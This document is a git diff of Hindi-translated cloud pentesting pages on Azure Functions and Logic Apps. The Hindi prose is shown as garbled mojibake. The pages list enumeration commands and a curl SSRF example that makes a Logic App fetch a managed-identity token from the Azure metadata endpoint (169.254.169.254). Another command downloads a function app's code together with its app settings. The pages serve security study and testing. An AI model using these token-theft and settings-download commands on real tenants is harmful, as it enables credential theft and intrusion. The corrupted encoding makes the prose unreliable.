рдкрд╣реБрдВрдЪ рд╕реНрддрд░ рд╕рд╣рд┐рдд) рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдпрд╣ **рдХреБрдВрдЬреА рд░рджреНрдж рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХрддреАред** +- **Function Keys:** рдлрд╝рдВрдХреНрд╢рди рдХреБрдВрдЬреА рдпрд╛ рддреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдЗрдиреНрд╣реЗрдВ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **рдлрд╝рдВрдХреНрд╢рди рдРрдк рдХреЗ рднреАрддрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рдВрдХреНрд╢рди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕** рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдкрд░ рдЕрдзрд┐рдХ рдмрд╛рд░реАрдХ рдкрд╣реБрдВрдЪ рдорд┐рд▓рддреА рд╣реИред +- **Host Keys:** рд╣реЛрд╕реНрдЯ рдХреБрдВрдЬреА, рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкрд░рд┐рднрд╛рд╖рд┐рдд рднреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, **FUNCTION рдПрдХреНрд╕реЗрд╕ рд╕реНрддрд░** рдХреЗ рд╕рд╛рде рдлрд╝рдВрдХреНрд╢рди рдРрдк рдХреЗ рднреАрддрд░ рд╕рднреА рдлрд╝рдВрдХреНрд╢рди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред +- **Master Key:** рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА (`_master`) рдПрдХ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИ рдЬреЛ рд╕рднреА рдлрд╝рдВрдХреНрд╢рди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ (ADMIN рдПрдХреНрд╕реЗрд╕ рд╕реНрддрд░ рд╕рд╣рд┐рдд) рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдпрд╣ **рдХреБрдВрдЬреА рд░рджреНрдж рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХрддреАред** - **System Keys:** рд╕рд┐рд╕реНрдЯрдо рдХреБрдВрдЬреА **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд** рд╣реЛрддреА рд╣реИрдВ рдФрд░ рдЖрдВрддрд░рд┐рдХ рдШрдЯрдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╡реЗрдмрд╣реБрдХ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рддрдХ рдкрд╣реБрдВрдЪ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдЗрд╡реЗрдВрдЯ рдЧреНрд░рд┐рдб рдЯреНрд░рд┐рдЧрд░ рдФрд░ рдбреНрдпреВрд░реЗрдмрд▓ рдлрд╝рдВрдХреНрд╢рдВрд╕ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬреЛ рдЕрдкрдиреЗ рд╕рдВрдмрдВрдзрд┐рдд APIs рдХреЗ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред > [!TIP] @@ -96,7 +96,7 @@ Linux рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рд╕реНрд░реЛрдд рдХреЛрдб ### Basic Authentication -рдЬреИрд╕реЗ рдХрд┐ App Services рдореЗрдВ, Functions рднреА **SCM** рдФрд░ **FTP** рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреБрдирд┐рдпрд╛рджреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреЛрдб рдХреЛ **Azure рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП URL рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рддреИрдирд╛рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: +рдЬреИрд╕реЗ рдХрд┐ рдРрдк рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ, рдлрд╝рдВрдХреНрд╢рдВрд╕ рднреА **SCM** рдФрд░ **FTP** рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреБрдирд┐рдпрд╛рджреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреЛрдб рдХреЛ **Azure рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП URL рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рддреИрдирд╛рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: {{#ref}} az-app-services.md @@ -104,7 +104,7 @@ az-app-services.md ### Github Based Deployments -рдЬрдм рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдПрдХ Github рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ, рддреЛ Azure рд╡реЗрдм рдХрдВрд╕реЛрд▓ **рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдПрдХ Github рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдмрдирд╛рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЬрдм рднреА рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдП, рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдХреЛрдб рдЕрдкрдбреЗрдЯ рд╣реЛ рдЬрд╛рдПред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдПрдХ Python рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП Github Action yaml рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ: +рдЬрдм рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдПрдХ Github рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ, рддреЛ Azure рд╡реЗрдм рдХрдВрд╕реЛрд▓ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдПрдХ Github рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрдирд╛рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЬрдм рднреА рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдП, рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдХреЛрдб рдЕрдкрдбреЗрдЯ рд╣реЛ рдЬрд╛рдПред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдПрдХ рдкрд╛рдпрдерди рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП Github Action yaml рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:
@@ -204,6 +204,10 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рдХреЛрдИ рд╕реНрд░реЛрдд рдХреЛрдб рд╕реНрдЯреЛрд░реЗрдЬ** рдЦрд╛рддреЗ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред ## Enumeration + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} ```bash # List all the functions az functionapp list @@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.Functions + +# Lists all Function Apps in the current subscription or in a specific resource group. +Get-AzFunctionApp -ResourceGroupName + +# Displays the regions where Azure Function Apps are available for deployment. +Get-AzFunctionAppAvailableLocation + +# Retrieves details about Azure Function App plans in a subscription or resource group. +Get-AzFunctionAppPlan -ResourceGroupName -Name + +# Retrieves the app settings for a specific Azure Function App. +Get-AzFunctionAppSetting -Name -ResourceGroupName +``` +{% endcode %} +{% endtab %} +{% endtabs %} + ## рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ {{#ref}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index db51023a2..e7d9db3d4 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -10,8 +10,8 @@ Logic Apps рдПрдХ рджреГрд╢реНрдп рдбрд┐рдЬрд╝рд╛рдЗрдирд░ рдкреНрд░рджрд╛рди ### Examples -- **рдбреЗрдЯрд╛ рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдХрд╛ рд╕реНрд╡рдЪрд╛рд▓рди**: Logic Apps **рдбреЗрдЯрд╛ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдФрд░ рд░реВрдкрд╛рдВрддрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ** рдХреЛ Azure Data Factory рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдХрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдбреЗрдЯрд╛ рд╕реНрдЯреЛрд░реНрд╕, рдЬреИрд╕реЗ Azure SQL Database рдФрд░ Azure Blob Storage рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдФрд░ рд░реВрдкрд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреЗрд▓реЗрдмрд▓ рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЗрдЯрд╛ рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдХреЛ рдмрдирд╛рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рд╣реИ, рдЬреЛ рдПрдирд╛рд▓рд┐рдЯрд┐рдХреНрд╕ рдФрд░ рд╡реНрдпрд╡рд╕рд╛рдп рдмреБрджреНрдзрд┐рдорддреНрддрд╛ рд╕рдВрдЪрд╛рд▓рди рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред -- **Azure Functions рдХреЗ рд╕рд╛рде рдПрдХреАрдХрд░рдг**: Logic Apps Azure Functions рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ **рдЬрдЯрд┐рд▓, рдЗрд╡реЗрдВрдЯ-рдЪрд╛рд▓рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рд╡рд┐рдХрд╕рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ рд╕реНрдХреЗрд▓ рдХрд░рддреЗ рд╣реИрдВ** рдФрд░ рдЕрдиреНрдп Azure рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдЬрддрд╛ рд╕реЗ рдПрдХреАрдХреГрдд рд╣реЛрддреЗ рд╣реИрдВред рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЙрдкрдпреЛрдЧ рдорд╛рдорд▓рд╛ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ Logic App рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреБрдЫ рдШрдЯрдирд╛рдУрдВ рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ Azure Function рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ Azure Storage рдЦрд╛рддреЗ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди, рдЬреЛ рдЧрддрд┐рд╢реАрд▓ рдбреЗрдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- **рдбреЗрдЯрд╛ рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдирд╛**: Logic Apps **рдбреЗрдЯрд╛ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдФрд░ рд░реВрдкрд╛рдВрддрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ** рдХреЛ Azure Data Factory рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдХрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдбреЗрдЯрд╛ рд╕реНрдЯреЛрд░реНрд╕, рдЬреИрд╕реЗ Azure SQL Database рдФрд░ Azure Blob Storage рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдФрд░ рд░реВрдкрд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреЗрд▓реЗрдмрд▓ рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЗрдЯрд╛ рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдХреЛ рдмрдирд╛рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдФрд░ рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рдмреБрджреНрдзрд┐рдорддреНрддрд╛ рд╕рдВрдЪрд╛рд▓рди рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред +- **Azure Functions рдХреЗ рд╕рд╛рде рдПрдХреАрдХреГрдд рдХрд░рдирд╛**: Logic Apps Azure Functions рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ **рдЬрдЯрд┐рд▓, рдЗрд╡реЗрдВрдЯ-рдЪрд╛рд▓рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ рд╕реНрдХреЗрд▓ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреНрдп Azure рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдЬрддрд╛ рд╕реЗ рдПрдХреАрдХреГрдд рд╣реЛрддреЗ рд╣реИрдВред рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЙрдкрдпреЛрдЧ рдорд╛рдорд▓рд╛ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ Logic App рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреБрдЫ рдШрдЯрдирд╛рдУрдВ рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ Azure Function рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ Azure Storage рдЦрд╛рддреЗ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди, рдЬреЛ рдЧрддрд┐рд╢реАрд▓ рдбреЗрдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред ### Visualize a LogicAPP @@ -30,34 +30,260 @@ Logic Apps рдПрдХ рджреГрд╢реНрдп рдбрд┐рдЬрд╝рд╛рдЗрдирд░ рдкреНрд░рджрд╛рди # The URL belongs to a Logic App vulenrable to SSRF curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v ``` -### Enumeration +### рд╣реЛрд╕реНрдЯрд┐рдВрдЧ рд╡рд┐рдХрд▓реНрдк -{{#tabs }} -{{#tab name="az cli" }} +рдХрдИ рд╣реЛрд╕реНрдЯрд┐рдВрдЧ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ: + +* **рдЙрдкрднреЛрдЧ** +- **рдорд▓реНрдЯреА-рдЯреЗрдиреЗрдВрдЯ**: рд╕рд╛рдЭрд╛ рдХрдВрдкреНрдпреВрдЯ рд╕рдВрд╕рд╛рдзрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреНрд▓рд╛рдЙрдб рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдкреНрд░рддрд┐ рдСрдкрд░реЗрд╢рди рдореВрд▓реНрдп рдирд┐рд░реНрдзрд╛рд░рдг рдореЙрдбрд▓ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╣рд▓реНрдХреЗ рдФрд░ рд▓рд╛рдЧрдд-рдХреБрд╢рд▓ рдХрд╛рд░реНрдпрднрд╛рд░ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИред +* **рдорд╛рдирдХ** +- **рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рд╕реЗрд╡рд╛ рдпреЛрдЬрдирд╛**: рдиреЗрдЯрд╡рд░реНрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП VNET рдПрдХреАрдХрд░рдг рдХреЗ рд╕рд╛рде рд╕рдорд░реНрдкрд┐рдд рдХрдВрдкреНрдпреВрдЯ рд╕рдВрд╕рд╛рдзрди рдФрд░ рдкреНрд░рддрд┐ рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рд╕реЗрд╡рд╛ рдпреЛрдЬрдирд╛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╢реБрд▓реНрдХред рдпрд╣ рдЕрдзрд┐рдХ рдорд╛рдВрдЧ рд╡рд╛рд▓реЗ рдХрд╛рд░реНрдпрднрд╛рд░ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реИ рдЬреЛ рдЕрдзрд┐рдХ рдирд┐рдпрдВрддреНрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +- **рдРрдк рд╕реЗрд╡рд╛ рд╡рд╛рддрд╛рд╡рд░рдг V3** рд╕рдорд░реНрдкрд┐рдд рдХрдВрдкреНрдпреВрдЯ рд╕рдВрд╕рд╛рдзрди рдкреВрд░реНрдг рдЕрд▓рдЧрд╛рд╡ рдФрд░ рд╕реНрдХреЗрд▓реЗрдмрд┐рд▓рд┐рдЯреА рдХреЗ рд╕рд╛рдеред рдпрд╣ рдиреЗрдЯрд╡рд░реНрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП VNET рдХреЗ рд╕рд╛рде рднреА рдПрдХреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рднреАрддрд░ рдРрдк рд╕реЗрд╡рд╛ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдореВрд▓реНрдп рдирд┐рд░реНрдзрд╛рд░рдг рдореЙрдбрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЙрдЪреНрдЪ рдЕрд▓рдЧрд╛рд╡ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╡рд╛рд▓реЗ рдЙрджреНрдпрдо-рд╕реНрддрд░реАрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИред +- **рд╣рд╛рдЗрдмреНрд░рд┐рдб** рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдФрд░ рдорд▓реНрдЯреА-рдХреНрд▓рд╛рдЙрдб рд╕рдорд░реНрдерди рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдпрд╣ рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде рдЧреНрд░рд╛рд╣рдХ-рдкреНрд░рдмрдВрдзрд┐рдд рдХрдВрдкреНрдпреВрдЯ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ Kubernetes рдЗрд╡реЗрдВрдЯ-рдбреНрд░рд┐рд╡реЗрди рдСрдЯреЛрд╕реНрдХреЗрд▓рд┐рдВрдЧ (KEDA) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред + +### рдЧрдгрдирд╛ + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} ```bash # List -az logic workflow list --resource-group --subscription --output table +az logic workflow list --resource-group # Get info -az logic workflow show --name --resource-group --subscription -# Get Logic App config -az logic workflow definition show --name --resource-group --subscription -# Get service ppal used -az logic workflow identity show --name --resource-group --subscription -``` -{{#endtab }} +az logic workflow show --name --resource-group -{{#tab name="Az PowerSHell" }} +# Get details of a specific Logic App workflow, including its connections and parameters +az rest \ +--method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \ +--headers "Content-Type=application/json" + +# Get details about triggers for a specific Logic App +az rest --method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01" + +# Get the callback URL for a specific trigger in a Logic App +az rest --method POST \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01" + +# Get the history of a specific trigger in a Logic App +az rest --method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01" + +# List all runs of a specific Logic App workflow +az rest \ +--method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \ +--headers "Content-Type=application/json" + +# Get all actions within a specific run of a Logic App workflow +az rest \ +--method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \ +--headers "Content-Type=application/json" + +# List all versions of a specific Logic App workflow +az rest \ +--method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \ +--headers "Content-Type=application/json" + +# Get details of a specific version of a Logic App workflow +az rest \ +--method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \ +--headers "Content-Type=application/json" + +az rest \ +--method GET \ +--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \ +--headers "Content-Type=application/json" + +# List all Logic Apps in the specified resource group +az logicapp list --resource-group + +# Show detailed information about a specific Logic App +az logicapp show --name --resource-group + +# List all application settings for a specific Logic App +az logicapp config appsettings list --name --resource-group +``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} ```bash +Get-Command -Module Az.LogicApp + # List Get-AzLogicApp -ResourceGroupName # Get info Get-AzLogicApp -ResourceGroupName -Name -# Get Logic App config -(Get-AzLogicApp -ResourceGroupName -Name ).Definition | ConvertTo-Json -# Get service ppal used -(Get-AzLogicApp -ResourceGroupName -Name ).Identity -``` -{{#endtab }} -{{#endtabs }} -{{#include ../../../banners/hacktricks-training.md}} +# Get details of a specific Logic App workflow run action +Get-AzLogicAppRunAction -ResourceGroupName "" -Name "" -RunName "" + +# Get the run history for a specific Logic App +Get-AzLogicAppRunHistory -ResourceGroupName "" -Name "" + +# Get details about triggers for a specific Logic App +Get-AzLogicAppTrigger -ResourceGroupName "" -Name "" + +# Get the callback URL for a specific trigger in a Logic App +Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName "" -TriggerName "" + +# Get the history of a specific trigger in a Logic App +Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName "" 